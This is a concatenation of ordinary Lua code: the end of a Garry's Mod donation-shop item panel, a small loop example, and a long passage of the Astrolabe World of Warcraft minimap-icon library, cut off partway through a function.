for i, data in SortedPairs(_DUSTCODE_DONATE.Items) do
if self.category != data.category then continue end
local time = "Навсегда"
if data.time > 0 then
time = "На "..formatTime(data.time)
end
if (data.time == 0) and data.once then
time = "Одноразово"
end
local item = vgui.Create("DPanel")
item:SetSize(170,240)
item:SetTooltip(data.description)
item:SetTooltipPanelOverride("DustCode_Tooltip")
item:TDLib()
:ClearPaint()
:Outline(_DUSTCODE_DONATE.Colors.itemOutline, 4)
//:Background(Color(5, 5, 5, 240))
:Blur(1)
:Gradient(_DUSTCODE_DONATE.Colors.itemGradient, BOTTOM, 1)
//:BarHover(Color(0, 124, 148), 3)
local title = vgui.Create("DPanel", item)
title:Dock(TOP)
title:SetTall(50)
title:DockPadding(5, 0, 0, 0)
title:TDLib()
:ClearPaint()
:Background(_DUSTCODE_DONATE.Colors.itemTitle)
:Blur(1)
:DualText(
data.name,
"DustCode_Small",
Color(255, 255, 255, 255),
time,
"DustCode_Small",
Color(200, 200, 200, 200),
TEXT_ALIGN_CENTER
)
local buyBtn = vgui.Create("DButton", item)
buyBtn:Dock(BOTTOM)
buyBtn:SetTall(40)
buyBtn:DockMargin(3, 0, 3, 3)
buyBtn:SetText("")
buyBtn:TDLib()
:ClearPaint()
:Background(_DUSTCODE_DONATE.Colors.buyBtn)
:FadeHover(_DUSTCODE_DONATE.Colors.buyBtnHover)
local mat = _DUSTCODE_DONATE:GetImage(data.icon.name)
local icon = vgui.Create("DPanel", item)
icon:TDLib()
:ClearPaint()
:Stick(FILL, 10)
:SquareFromHeight()
if data.model and (data.model != "") then
local model = vgui.Create("DAdjustableModelPanel", icon)
model:Dock(FILL)
model:SetModel(data.model)
model:SetCamPos(Vector(131.452362, 13.228242, -3.541138))
model:SetLookAng(Angle(-11.466, 184.647, 0.000))
model:SetFOV(49.677134609016)
function model:LayoutEntity( Entity ) return end
else
icon:Material(mat)
icon.OnCursorEntered = function(s)
icon:SetCursor('hand')
end
end
item.OnCursorEntered = function(s)
item:SetCursor('hand')
end
buyBtn.DoClick = function(s)
BuyItem(data, data.unique_id)
end
grid:AddItem(item)
if (data.discount) and (data.discount > 0) then
local skidka = vgui.Create("DPanel", item)
skidka:SetSize(120,32)
skidka:SetPos(item:GetWide()-skidka:GetWide(), 50)
skidka:TDLib()
:ClearPaint()
//:Gradient(Color(184, 18, 19,255), RIGHT, 0.9)
:Gradient(_DUSTCODE_DONATE.Colors.background, RIGHT, 1)
:Blur(1)
local oldPaint = skidka.Paint
skidka.Paint = function(s,w,h)
oldPaint(s,w,h)
surface.SetDrawColor(HSVToColor(CurTime() * 40 % 360, 1, 1))
surface.SetMaterial(discountIcon)
surface.DrawTexturedRect(w-32,0,32,32)
draw.SimpleText("-"..(data.discount*100).."%", "DustCode_Normal", w-35, h/2, color_white, TEXT_ALIGN_RIGHT, TEXT_ALIGN_CENTER)
end
buyBtn:DualText(
data.price.."RUB",
"DustCode_SmallStrike",
color_black,
(data.price-(data.price*data.discount)).." RUB",
"DustCode_Small",
color_white,
TEXT_ALIGN_CENTER
)
else
buyBtn:Text((data.price-(data.price*data.discount)).." RUB", "DustCode_Small")
end
end
end
vgui.Register("DustCode_Items", PANEL, "DScrollPanel")
|
a = 10
repeat
print("value of a:", a)
a = a + 1
until( a > 15 )
|
--[[
Name: Astrolabe
Author(s): Esamynn (esamynn at wowinterface.com)
Inspired By: Gatherer by Norganna
MapLibrary by Kristofer Karlsson (krka at kth.se)
Documentation: http://wiki.esamynn.org/Astrolabe
SVN: http://svn.esamynn.org/astrolabe/
Description:
This is a library for the World of Warcraft UI system to place
icons accurately on both the Minimap and on Worldmaps.
This library also manages and updates the position of Minimap icons
automatically.
Copyright (C) 2006-2012 James Carrothers
License:
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Note:
This library's source code is specifically designed to work with
World of Warcraft's interpreted AddOn system. You have an implicit
licence to use this library with these facilities since that is its
designated purpose as per:
http://www.fsf.org/licensing/licenses/gpl-faq.html#InterpreterIncompat
]]
-- WARNING!!!
-- DO NOT MAKE CHANGES TO THIS LIBRARY WITHOUT FIRST CHANGING THE LIBRARY_VERSION_MAJOR
-- STRING (to something unique) OR ELSE YOU MAY BREAK OTHER ADDONS THAT USE THIS LIBRARY!!!
local LIBRARY_VERSION_MAJOR = "Astrolabe-1.0"
local LIBRARY_VERSION_MINOR = 162
if not DongleStub then error(LIBRARY_VERSION_MAJOR .. " requires DongleStub.") end
if not DongleStub:IsNewerVersion(LIBRARY_VERSION_MAJOR, LIBRARY_VERSION_MINOR) then return end
local Astrolabe = {};
-- define local variables for Data Tables (defined at the end of this file)
local WorldMapSize, MicroDungeonSize, MinimapSize, ValidMinimapShapes, zeroData;
function Astrolabe:GetVersion()
return LIBRARY_VERSION_MAJOR, LIBRARY_VERSION_MINOR;
end
--------------------------------------------------------------------------------------------------------------
-- Config Constants
--------------------------------------------------------------------------------------------------------------
local configConstants = {
MinimapUpdateMultiplier = true,
}
-- this constant is multiplied by the current framerate to determine
-- how many icons are updated each frame
Astrolabe.MinimapUpdateMultiplier = 1;
--------------------------------------------------------------------------------------------------------------
-- Working Tables
--------------------------------------------------------------------------------------------------------------
Astrolabe.LastPlayerPosition = { 0, 0, 0, 0 };
Astrolabe.MinimapIcons = {};
Astrolabe.IconAssociations = {};
Astrolabe.IconsOnEdge = {};
Astrolabe.IconsOnEdge_GroupChangeCallbacks = {};
Astrolabe.TargetMinimapChanged_Callbacks = {};
Astrolabe.MinimapIconCount = 0
Astrolabe.ForceNextUpdate = false;
Astrolabe.IconsOnEdgeChanged = false;
Astrolabe.DefaultEdgeRangeMultiplier = 1;
Astrolabe.EdgeRangeMultiplier = {};
setmetatable(Astrolabe.EdgeRangeMultiplier,
{
__index = function(t,k)
local d = Astrolabe.DefaultEdgeRangeMultiplier; -- this works because we always update the Astrolabe local variable
if ( type(k) == "table" ) then t[k] = d; end;
return d;
end
}
);
-- This variable indicates whether we know of a visible World Map or not.
-- The state of this variable is controlled by the AstrolabeMapMonitor library.
Astrolabe.WorldMapVisible = false;
local AddedOrUpdatedIcons = {}
local MinimapIconsMetatable = { __index = AddedOrUpdatedIcons }
--------------------------------------------------------------------------------------------------------------
-- Local Pointers for often used API functions
--------------------------------------------------------------------------------------------------------------
local twoPi = math.pi * 2;
local atan2 = math.atan2;
local sin = math.sin;
local cos = math.cos;
local abs = math.abs;
local sqrt = math.sqrt;
local min = math.min
local max = math.max
local yield = coroutine.yield
local next = next
local GetFramerate = GetFramerate
local band = bit.band
local issecurevariable = issecurevariable
local real_GetCurrentMapAreaID = GetCurrentMapAreaID
local function GetCurrentMapAreaID()
local id = real_GetCurrentMapAreaID();
if ( id < 0 and GetCurrentMapContinent() == WORLDMAP_AZEROTH_ID ) then
return 0;
end
return id;
end
--------------------------------------------------------------------------------------------------------------
-- Internal Utility Functions
--------------------------------------------------------------------------------------------------------------
local function assert(level,condition,message)
if not condition then
error(message,level)
end
end
local function argcheck(value, num, ...)
assert(1, type(num) == "number", "Bad argument #2 to 'argcheck' (number expected, got " .. type(num) .. ")")
for i=1,select("#", ...) do
if type(value) == select(i, ...) then return end
end
local types = strjoin(", ", ...)
local name = string.match(debugstack(2,2,0), ": in function [`<](.-)['>]")
error(string.format("Bad argument #%d to 'Astrolabe.%s' (%s expected, got %s)", num, name, types, type(value)), 3)
end
local function getSystemPosition( mapData, f, x, y )
if ( f ~= 0 ) then
mapData = rawget(mapData, f) or MicroDungeonSize[mapData.originSystem][f];
end
x = x * mapData.width + mapData.xOffset;
y = y * mapData.height + mapData.yOffset;
return x, y;
end
local function printError( ... )
if ( ASTROLABE_VERBOSE) then
print(...)
end
end
--------------------------------------------------------------------------------------------------------------
-- General Utility Functions
--------------------------------------------------------------------------------------------------------------
function Astrolabe:ComputeDistance( m1, f1, x1, y1, m2, f2, x2, y2 )
--[[
argcheck(m1, 2, "number");
assert(3, m1 >= 0, "ComputeDistance: Illegal map id to m1: "..m1);
argcheck(f1, 3, "number", "nil");
argcheck(x1, 4, "number");
argcheck(y1, 5, "number");
argcheck(m2, 6, "number");
assert(3, m2 >= 0, "ComputeDistance: Illegal map id to m2: "..m2);
argcheck(f2, 7, "number", "nil");
argcheck(x2, 8, "number");
argcheck(y2, 9, "number");
--]]
if not ( m1 and m2 ) then return end;
f1 = f1 or min(#WorldMapSize[m1], 1);
f2 = f2 or min(#WorldMapSize[m2], 1);
local dist, xDelta, yDelta;
if ( m1 == m2 and f1 == f2 ) then
-- points in the same zone on the same floor
local mapData = WorldMapSize[m1];
if ( f1 ~= 0 ) then
mapData = rawget(mapData, f1) or MicroDungeonSize[mapData.originSystem][f1];
end
xDelta = (x2 - x1) * mapData.width;
yDelta = (y2 - y1) * mapData.height;
else
local map1 = WorldMapSize[m1];
local map2 = WorldMapSize[m2];
if ( map1.system == map2.system ) then
-- points within the same system (continent)
x1, y1 = getSystemPosition(map1, f1, x1, y1);
x2, y2 = getSystemPosition(map2, f2, x2, y2);
xDelta = (x2 - x1);
yDelta = (y2 - y1);
else
local s1 = map1.system;
local s2 = map2.system;
if ( (m1==0 or WorldMapSize[0][s1]) and (m2==0 or WorldMapSize[0][s2]) ) then
x1, y1 = getSystemPosition(map1, f1, x1, y1);
x2, y2 = getSystemPosition(map2, f2, x2, y2);
if ( m1 ~= 0 ) then
-- translate up from system 1
local cont1 = WorldMapSize[0][s1];
x1 = (x1 - cont1.xOffset) * cont1.scale;
y1 = (y1 - cont1.yOffset) * cont1.scale;
end
if ( m2 ~= 0 ) then
-- translate up from system 2
local cont2 = WorldMapSize[0][s2];
x2 = (x2 - cont2.xOffset) * cont2.scale;
y2 = (y2 - cont2.yOffset) * cont2.scale;
end
xDelta = x2 - x1;
yDelta = y2 - y1;
end
end
end
if ( xDelta and yDelta ) then
dist = sqrt(xDelta*xDelta + yDelta*yDelta);
end
return dist, xDelta, yDelta;
end
function Astrolabe:TranslateWorldMapPosition( M, F, xPos, yPos, nM, nF )
--[[
argcheck(M, 2, "number");
argcheck(F, 3, "number", "nil");
argcheck(xPos, 4, "number");
argcheck(yPos, 5, "number");
argcheck(nM, 6, "number");
argcheck(nF, 7, "number", "nil");
--]]
if not ( M and nM ) then return end;
F = F or min(#WorldMapSize[M], 1);
nF = nF or min(#WorldMapSize[nM], 1);
if ( nM < 0 ) then
return;
end
local mapData;
if ( M == nM and F == nF ) then
return xPos, yPos;
else
local map = WorldMapSize[M];
local nMap = WorldMapSize[nM];
if ( map.system == nMap.system ) then
-- points within the same system (continent)
xPos, yPos = getSystemPosition(map, F, xPos, yPos);
mapData = WorldMapSize[nM];
if ( nF ~= 0 ) then
mapData = rawget(mapData, nF) or MicroDungeonSize[mapData.originSystem][nF];
end
else
-- different continents, same world
local S = map.system;
local nS = nMap.system;
if ( (M==0 or WorldMapSize[0][S]) and (nM==0 or WorldMapSize[0][nS]) ) then
mapData = WorldMapSize[M];
xPos, yPos = getSystemPosition(mapData, F, xPos, yPos);
if ( M ~= 0 ) then
-- translate up to world map if we aren't there already
local cont = WorldMapSize[0][S];
xPos = (xPos - cont.xOffset) * cont.scale;
yPos = (yPos - cont.yOffset) * cont.scale;
mapData = WorldMapSize[0];
end
if ( nM ~= 0 ) then
-- translate down to the new continent
local nCont = WorldMapSize[0][nS];
xPos = (xPos / nCont.scale) + nCont.xOffset;
yPos = (yPos / nCont.scale) + nCont.yOffset;
mapData = WorldMapSize[nM];
if ( nF ~= 0 ) then
mapData = rawget(mapData, nF) or MicroDungeonSize[mapData.originSystem][nF];
end
end
else
return;
end
end
-- need to account for the offset in the new system so we can
-- correctly translate into 0-1 style coordinates
xPos = xPos - mapData.xOffset;
yPos = yPos - mapData.yOffset;
end
return (xPos / mapData.width), (yPos / mapData.height);
end
--*****************************************************************************
-- This function will do its utmost to retrieve some sort of valid position
-- for the specified unit, including changing the current map zoom (if needed).
-- Map Zoom is returned to its previous setting before this function returns.
--*****************************************************************************
function Astrolabe:GetUnitPosition( unit, noMapChange )
local x, y = GetPlayerMapPosition(unit);
if ( x <= 0 and y <= 0 ) then
if ( noMapChange ) then
-- no valid position on the current map, and we aren't allowed
-- to change map zoom, so return
return;
end
local lastMapID, lastFloor = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel();
SetMapToCurrentZone();
x, y = GetPlayerMapPosition(unit);
if ( x <= 0 and y <= 0 ) then
-- attempt to zoom out once - logic copied from WorldMapZoomOutButton_OnClick()
if ( ZoomOut() ) then
-- do nothing
elseif ( GetCurrentMapZone() ~= WORLDMAP_AZEROTH_ID ) then
SetMapZoom(GetCurrentMapContinent());
else
SetMapZoom(WORLDMAP_AZEROTH_ID);
end
x, y = GetPlayerMapPosition(unit);
if ( x <= 0 and y <= 0 ) then
-- we are in an instance without a map or otherwise off map
return;
end
end
local M, F = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel();
if ( M ~= lastMapID or F ~= lastFloor ) then
-- set map zoom back to what it was before
SetMapByID(lastMapID);
SetDungeonMapLevel(lastFloor);
end
return M, F, x, y;
end
return GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(), x, y;
end
--*****************************************************************************
-- This function will do its utmost to retrieve some sort of valid position
-- for the specified unit, including changing the current map zoom (if needed).
-- However, if a monitored WorldMapFrame (See AstrolabeMapMonitor.lua) is
-- visible, then will simply return nil if the current zoom does not provide
-- a valid position for the player unit. Map Zoom is NOT returned to its previous
-- setting before this function returns, in order to provide better performance.
--*****************************************************************************
function Astrolabe:GetCurrentPlayerPosition()
local x, y = GetPlayerMapPosition("player");
if ( x <= 0 and y <= 0 ) then
if ( self.WorldMapVisible ) then
-- we know there is a visible world map, so don't cause
-- WORLD_MAP_UPDATE events by changing map zoom
return;
end
SetMapToCurrentZone();
x, y = GetPlayerMapPosition("player");
if ( x <= 0 and y <= 0 ) then
-- attempt to zoom out once - logic copied from WorldMapZoomOutButton_OnClick()
if ( ZoomOut() ) then
-- do nothing
elseif ( GetCurrentMapZone() ~= WORLDMAP_AZEROTH_ID ) then
SetMapZoom(GetCurrentMapContinent());
else
SetMapZoom(WORLDMAP_AZEROTH_ID);
end
x, y = GetPlayerMapPosition("player");
if ( x <= 0 and y <= 0 ) then
-- we are in an instance without a map or otherwise off map
return;
end
end
end
return GetCurrentMapAreaID(), GetCurrentMapDungeonLevel(), x, y;
end
function Astrolabe:GetMapID(continent, zone)
zone = zone or 0;
local ret = self.ContinentList[continent];
if ( ret ) then
return ret[zone];
end
if ( continent == 0 and zone == 0 ) then
return 0;
end
end
function Astrolabe:GetNumFloors( mapID )
if ( type(mapID) == "number" ) then
local mapData = WorldMapSize[mapID]
return #mapData
end
end
function Astrolabe:GetMapInfo( mapID, mapFloor )
argcheck(mapID, 2, "number");
assert(3, mapID >= 0, "GetMapInfo: Illegal map id to mapID: "..mapID);
argcheck(mapFloor, 3, "number", "nil");
mapFloor = mapFloor or min(#WorldMapSize[mapID], 1);
local mapData = WorldMapSize[mapID];
local system, systemParent = mapData.system, WorldMapSize[0][mapData.system] and true or false
if ( mapFloor ~= 0 ) then
mapData = rawget(mapData, mapFloor) or MicroDungeonSize[mapData.originSystem][mapFloor];
end
if ( mapData ~= zeroData ) then
return system, systemParent, mapData.width, mapData.height, mapData.xOffset, mapData.yOffset;
end
end
function Astrolabe:GetMapFilename( mapID )
local mapData = self.HarvestedMapData[mapID]
if ( mapData ) then
return mapData.mapName
end
end
--------------------------------------------------------------------------------------------------------------
-- Working Table Cache System
--------------------------------------------------------------------------------------------------------------
local tableCache = {};
tableCache["__mode"] = "v";
setmetatable(tableCache, tableCache);
local function GetWorkingTable( icon )
if ( tableCache[icon] ) then
return tableCache[icon];
else
local T = {};
tableCache[icon] = T;
return T;
end
end
--------------------------------------------------------------------------------------------------------------
-- Minimap Icon Placement
--------------------------------------------------------------------------------------------------------------
--*****************************************************************************
-- local variables specifically for use in this section
--*****************************************************************************
local minimapRotationEnabled = false;
local minimapShape = false;
local minimapRotationOffset = GetPlayerFacing();
local function placeIconOnMinimap( minimap, minimapZoom, mapWidth, mapHeight, icon, dist, xDist, yDist, edgeRangeMultiplier )
local mapDiameter;
if ( Astrolabe.minimapOutside ) then
mapDiameter = MinimapSize.outdoor[minimapZoom];
else
mapDiameter = MinimapSize.indoor[minimapZoom];
end
local mapRadius = mapDiameter * edgeRangeMultiplier / 2;
local xScale = mapDiameter / mapWidth;
local yScale = mapDiameter / mapHeight;
local iconDiameter = ((icon:GetWidth() / 2) + 3) * xScale;
local iconOnEdge = nil;
local isRound = true;
if ( minimapRotationEnabled ) then
local sinTheta = sin(minimapRotationOffset)
local cosTheta = cos(minimapRotationOffset)
--[[
Math Note
The math that is acutally going on in the next 3 lines is:
local dx, dy = xDist, -yDist
xDist = (dx * cosTheta) + (dy * sinTheta)
yDist = -((-dx * sinTheta) + (dy * cosTheta))
This is because the origin for map coordinates is the top left corner
of the map, not the bottom left, and so we have to reverse the vertical
distance when doing the our rotation, and then reverse the result vertical
distance because this rotation formula gives us a result with the origin based
in the bottom left corner (of the (+, +) quadrant).
The actual code is a simplification of the above.
]]
local dx, dy = xDist, yDist
xDist = (dx * cosTheta) - (dy * sinTheta)
yDist = (dx * sinTheta) + (dy * cosTheta)
end
if ( minimapShape and not (xDist == 0 or yDist == 0) ) then
isRound = (xDist < 0) and 1 or 3;
if ( yDist < 0 ) then
isRound = minimapShape[isRound];
else
isRound = minimapShape[isRound + 1];
end
end
-- for non-circular portions of the Minimap edge
if not ( isRound ) then
dist = max(abs(xDist), abs(yDist))
end
if ( (dist + iconDiameter) > mapRadius ) then
-- position along the outside of the Minimap
iconOnEdge = true;
local factor = (mapRadius - iconDiameter) / dist;
xDist = xDist * factor;
yDist = yDist * factor;
end
if ( Astrolabe.IconsOnEdge[icon] ~= iconOnEdge ) then
Astrolabe.IconsOnEdge[icon] = iconOnEdge;
Astrolabe.IconsOnEdgeChanged = true;
end
icon:ClearAllPoints();
icon:SetPoint("CENTER", minimap, "CENTER", xDist/xScale, -yDist/yScale);
end
function Astrolabe:PlaceIconOnMinimap( icon, mapID, mapFloor, xPos, yPos )
-- check argument types
argcheck(icon, 2, "table");
assert(3, icon.SetPoint and icon.ClearAllPoints and icon.GetWidth, "Usage Message");
argcheck(mapID, 3, "number");
argcheck(mapFloor, 4, "number", "nil");
argcheck(xPos, 5, "number");
argcheck(yPos, 6, "number");
-- if the positining system is currently active, just use the player position used by the last incremental (or full) update
-- otherwise, make sure we base our calculations off of the most recent player position (if one is available)
local lM, lF, lx, ly;
if ( self.processingFrame:IsShown() ) then
lM, lF, lx, ly = unpack(self.LastPlayerPosition);
else
lM, lF, lx, ly = self:GetCurrentPlayerPosition();
if ( lM and lM >= 0 ) then
local lastPosition = self.LastPlayerPosition;
lastPosition[1] = lM;
lastPosition[2] = lF;
lastPosition[3] = lx;
lastPosition[4] = ly;
else
lM, lF, lx, ly = unpack(self.LastPlayerPosition);
end
end
local dist, xDist, yDist = self:ComputeDistance(lM, lF, lx, ly, mapID, mapFloor, xPos, yPos);
if not ( dist ) then
--icon's position has no meaningful position relative to the player's current location
return -1;
end
local iconData = GetWorkingTable(icon);
if ( self.MinimapIcons[icon] ) then
self.MinimapIcons[icon] = nil;
else
self.MinimapIconCount = self.MinimapIconCount + 1
end
AddedOrUpdatedIcons[icon] = iconData
iconData.mapID = mapID;
iconData.mapFloor = mapFloor;
iconData.xPos = xPos;
iconData.yPos = yPos;
iconData.dist = dist;
iconData.xDist = xDist;
iconData.yDist = yDist;
minimapRotationEnabled = GetCVar("rotateMinimap") ~= "0"
if ( minimapRotationEnabled ) then
minimapRotationOffset = GetPlayerFacing();
end
-- check Minimap Shape
minimapShape = GetMinimapShape and ValidMinimapShapes[GetMinimapShape()];
-- place the icon on the Minimap and :Show() it
local map = self.Minimap
placeIconOnMinimap(map, map:GetZoom(), map:GetWidth(), map:GetHeight(), icon, dist, xDist, yDist, self.EdgeRangeMultiplier[icon]);
-- re-parent the icon if necessary
if ( icon.GetParent and icon.SetParent ) then
local iconParent = icon:GetParent()
if ( iconParent) then
if ( iconParent == map ) then
-- do nothing
elseif ( iconParent:IsObjectType("Minimap") ) then
icon:SetParent(map);
else
-- just in case our icon has an ancestor inbetween it and the Minimap
iconParent = iconParent:GetParent()
if ( iconParent and iconParent ~= map and iconParent:IsObjectType("Minimap") ) then
iconParent:SetParent(map);
end
end
end
end
icon:Show()
-- We know this icon's position is valid, so we need to make sure the icon placement system is active.
self.processingFrame:Show()
return 0;
end
function Astrolabe:RemoveIconFromMinimap( icon )
if not ( self.MinimapIcons[icon] ) then
return 1;
end
AddedOrUpdatedIcons[icon] = nil
self.MinimapIcons[icon] = nil;
self.IconsOnEdge[icon] = nil;
icon:Hide();
local MinimapIconCount = self.MinimapIconCount - 1
if ( MinimapIconCount <= 0 ) then
-- no icons left to manage
self.processingFrame:Hide()
MinimapIconCount = 0 -- because I'm paranoid
end
self.MinimapIconCount = MinimapIconCount
return 0;
end
function Astrolabe:RemoveAllMinimapIcons( assocName )
argcheck(assocName, 2, "string", "nil");
if ( assocName == nil ) then -- remove all icons
self:DumpNewIconsCache();
local MinimapIcons = self.MinimapIcons;
local IconsOnEdge = self.IconsOnEdge;
for icon, data in pairs(MinimapIcons) do
MinimapIcons[icon] = nil;
IconsOnEdge[icon] = nil;
icon:Hide();
end
self.MinimapIconCount = 0;
self.processingFrame:Hide();
else -- remove just icons that match the specified association
for icon, iconAssoc in pairs(self.IconAssociations) do
if ( iconAssoc == assocName ) then
self:RemoveIconFromMinimap(icon)
end
end
end
end
local lastZoom; -- to remember the last seen Minimap zoom level
-- local variables to track the status of the two update coroutines
local fullUpdateInProgress = true
local resetIncrementalUpdate = false
local resetFullUpdate = false
-- Incremental Update Code
do
-- local variables to track the incremental update coroutine
local incrementalUpdateCrashed = true
local incrementalUpdateThread
local function UpdateMinimapIconPositions( self )
-- cache a reference to EdgeRangeMultiplier, for performance
local EdgeRangeMultiplier = self.EdgeRangeMultiplier;
yield()
while ( true ) do
self:DumpNewIconsCache() -- put new/updated icons into the main datacache
resetIncrementalUpdate = false -- by definition, the incremental update is reset if it is here
local M, F, x, y = self:GetCurrentPlayerPosition();
if ( M and M >= 0 ) then
local Minimap = Astrolabe.Minimap;
local lastPosition = self.LastPlayerPosition;
local lM, lF, lx, ly = unpack(lastPosition);
minimapRotationEnabled = GetCVar("rotateMinimap") ~= "0"
if ( minimapRotationEnabled ) then
minimapRotationOffset = GetPlayerFacing();
end
-- check current frame rate
local numPerCycle = min(50, GetFramerate() * (self.MinimapUpdateMultiplier or 1))
-- check Minimap Shape
minimapShape = GetMinimapShape and ValidMinimapShapes[GetMinimapShape()];
if ( lM == M and lF == F and lx == x and ly == y ) then
-- player has not moved since the last update
if ( lastZoom ~= Minimap:GetZoom() or self.ForceNextUpdate or minimapRotationEnabled ) then
local currentZoom = Minimap:GetZoom();
lastZoom = currentZoom;
local mapWidth = Minimap:GetWidth();
local mapHeight = Minimap:GetHeight();
numPerCycle = numPerCycle * 2
local count = 0
for icon, data in pairs(self.MinimapIcons) do
placeIconOnMinimap(Minimap, currentZoom, mapWidth, mapHeight, icon, data.dist, data.xDist, data.yDist, EdgeRangeMultiplier[icon]);
count = count + 1
if ( count > numPerCycle ) then
count = 0
yield()
-- check if the incremental update cycle needs to be reset
-- because a full update has been run
if ( resetIncrementalUpdate ) then
break;
end
end
end
self.ForceNextUpdate = false;
end
else
local dist, xDelta, yDelta = self:ComputeDistance(lM, lF, lx, ly, M, F, x, y);
if ( dist ) then
local currentZoom = Minimap:GetZoom();
lastZoom = currentZoom;
local mapWidth = Minimap:GetWidth();
local mapHeight = Minimap:GetHeight();
local count = 0
for icon, data in pairs(self.MinimapIcons) do
local xDist = data.xDist - xDelta;
local yDist = data.yDist - yDelta;
local dist = sqrt(xDist*xDist + yDist*yDist);
placeIconOnMinimap(Minimap, currentZoom, mapWidth, mapHeight, icon, dist, xDist, yDist, EdgeRangeMultiplier[icon]);
data.dist = dist;
data.xDist = xDist;
data.yDist = yDist;
count = count + 1
if ( count >= numPerCycle ) then
count = 0
yield()
-- check if the incremental update cycle needs to be reset
-- because a full update has been run
if ( resetIncrementalUpdate ) then
break;
end
end
end
if not ( resetIncrementalUpdate ) then
lastPosition[1] = M;
lastPosition[2] = F;
lastPosition[3] = x;
lastPosition[4] = y;
end
else
self:RemoveAllMinimapIcons()
lastPosition[1] = M;
lastPosition[2] = F;
lastPosition[3] = x;
lastPosition[4] = y;
end
end
else
if not ( self.WorldMapVisible ) then
self.processingFrame:Hide();
end
end
-- if we've been reset, then we want to start the new cycle immediately
if not ( resetIncrementalUpdate ) then
yield()
end
end
end
function Astrolabe:UpdateMinimapIconPositions()
if ( fullUpdateInProgress ) then
-- if we're in the middle a a full update, we want to finish that first
self:CalculateMinimapIconPositions()
else
if ( incrementalUpdateCrashed ) then
incrementalUpdateThread = coroutine.wrap(UpdateMinimapIconPositions)
incrementalUpdateThread(self) --initialize the thread
end
incrementalUpdateCrashed = true
incrementalUpdateThread()
incrementalUpdateCrashed = false
end
end
end
-- Full Update Code
do
-- local variables to track the full update coroutine
local fullUpdateCrashed = true
local fullUpdateThread
local function CalculateMinimapIconPositions( self )
-- cache a reference to EdgeRangeMultiplier, for performance
local EdgeRangeMultiplier = self.EdgeRangeMultiplier;
yield()
while ( true ) do
self:DumpNewIconsCache() -- put new/updated icons into the main datacache
resetFullUpdate = false -- by definition, the full update is reset if it is here
fullUpdateInProgress = true -- set the flag the says a full update is in progress
local M, F, x, y = self:GetCurrentPlayerPosition();
if ( M and M >= 0 ) then
local Minimap = Astrolabe.Minimap;
minimapRotationEnabled = GetCVar("rotateMinimap") ~= "0"
if ( minimapRotationEnabled ) then
minimapRotationOffset = GetPlayerFacing();
end
-- check current frame rate
local numPerCycle = GetFramerate() * (self.MinimapUpdateMultiplier or 1) * 2
-- check Minimap Shape
minimapShape = GetMinimapShape and ValidMinimapShapes[GetMinimapShape()];
local currentZoom = Minimap:GetZoom();
lastZoom = currentZoom;
local mapWidth = Minimap:GetWidth();
local mapHeight = Minimap:GetHeight();
local count = 0
for icon, data in pairs(self.MinimapIcons) do
local dist, xDist, yDist = self:ComputeDistance(M, F, x, y, data.mapID, data.mapFloor, data.xPos, data.yPos);
if ( dist ) then
placeIconOnMinimap(Minimap, currentZoom, mapWidth, mapHeight, icon, dist, xDist, yDist, EdgeRangeMultiplier[icon]);
data.dist = dist;
data.xDist = xDist;
data.yDist = yDist;
else
self:RemoveIconFromMinimap(icon)
end
count = count + 1
if ( count >= numPerCycle ) then
count = 0
yield()
-- check if we need to restart due to the full update being reset
if ( resetFullUpdate ) then
break;
end
end
end
if not ( resetFullUpdate ) then
local lastPosition = self.LastPlayerPosition;
lastPosition[1] = M;
lastPosition[2] = F;
lastPosition[3] = x;
lastPosition[4] = y;
resetIncrementalUpdate = true
end
else
if not ( self.WorldMapVisible ) then
self.processingFrame:Hide();
end
end
-- if we've been reset, then we want to start the new cycle immediately
if not ( resetFullUpdate ) then
fullUpdateInProgress = false
yield()
end
end
end
function Astrolabe:CalculateMinimapIconPositions( reset )
if ( fullUpdateCrashed ) then
fullUpdateThread = coroutine.wrap(CalculateMinimapIconPositions)
fullUpdateThread(self) --initialize the thread
elseif ( reset ) then
resetFullUpdate = true
end
fullUpdateCrashed = true
fullUpdateThread()
fullUpdateCrashed = false
-- return result flag
if ( fullUpdateInProgress ) then
return 1 -- full update started, but did not complete on this cycle
else
if ( resetIncrementalUpdate ) then
return 0 -- update completed
else
return -1 -- full update did no occur for some reason
end
end
end
end
function Astrolabe:GetDistanceToIcon( icon )
local data = self.MinimapIcons[icon];
if ( data ) then
return data.dist, data.xDist, data.yDist;
end
end
function Astrolabe:IsIconOnEdge( icon )
return self.IconsOnEdge[icon];
end
function Astrolabe:GetDirectionToIcon( icon )
local data = self.MinimapIcons[icon];
if ( data ) then
local dir = atan2(data.xDist, -(data.yDist))
if ( dir > 0 ) then
return twoPi - dir;
else
return -dir;
end
end
end
function Astrolabe:AssociateIcon( icon, assocName )
argcheck(icon, 2, "table");
argcheck(assocName, 3, "string", "nil");
self.IconAssociations[icon] = assocName;
self.EdgeRangeMultiplier[icon] = self.EdgeRangeMultiplier[assocName]; -- update the icon's edge multiplier
self.ForceNextUpdate = true; -- force a redraw
end
function Astrolabe:GetIconAssociation( icon )
return self.IconAssociations[icon];
end
function Astrolabe:SetEdgeRangeMultiplier( multiplier, assocName )
argcheck(multiplier, 2, "number", "nil");
argcheck(assocName, 3, "string", "nil");
assert(3, (multiplier or assocName), "Astrolabe:SetEdgeRangeMultiplier( multiplier, [assocName] ) - at least one argument must be specificed");
assert(3, (not multiplier or multiplier > 0), "Astrolabe:SetEdgeRangeMultiplier( multiplier, [assocName] ) - mutliplier must be greater than zero");
local EdgeRangeMultiplier = self.EdgeRangeMultiplier;
local IconAssociations = self.IconAssociations;
if ( assocName == nil ) then
-- set the default multiplier
self.DefaultEdgeRangeMultiplier = multiplier;
for icon in pairs(EdgeRangeMultiplier) do
local iconAssoc = IconAssociations[icon];
if ( type(icon) == "table" and (not iconAssoc or rawget(EdgeRangeMultiplier, iconAssoc) == nil) ) then
EdgeRangeMultiplier[icon] = multiplier;
end
end
else
-- set the multiplier for specific icons
EdgeRangeMultiplier[assocName] = multiplier;
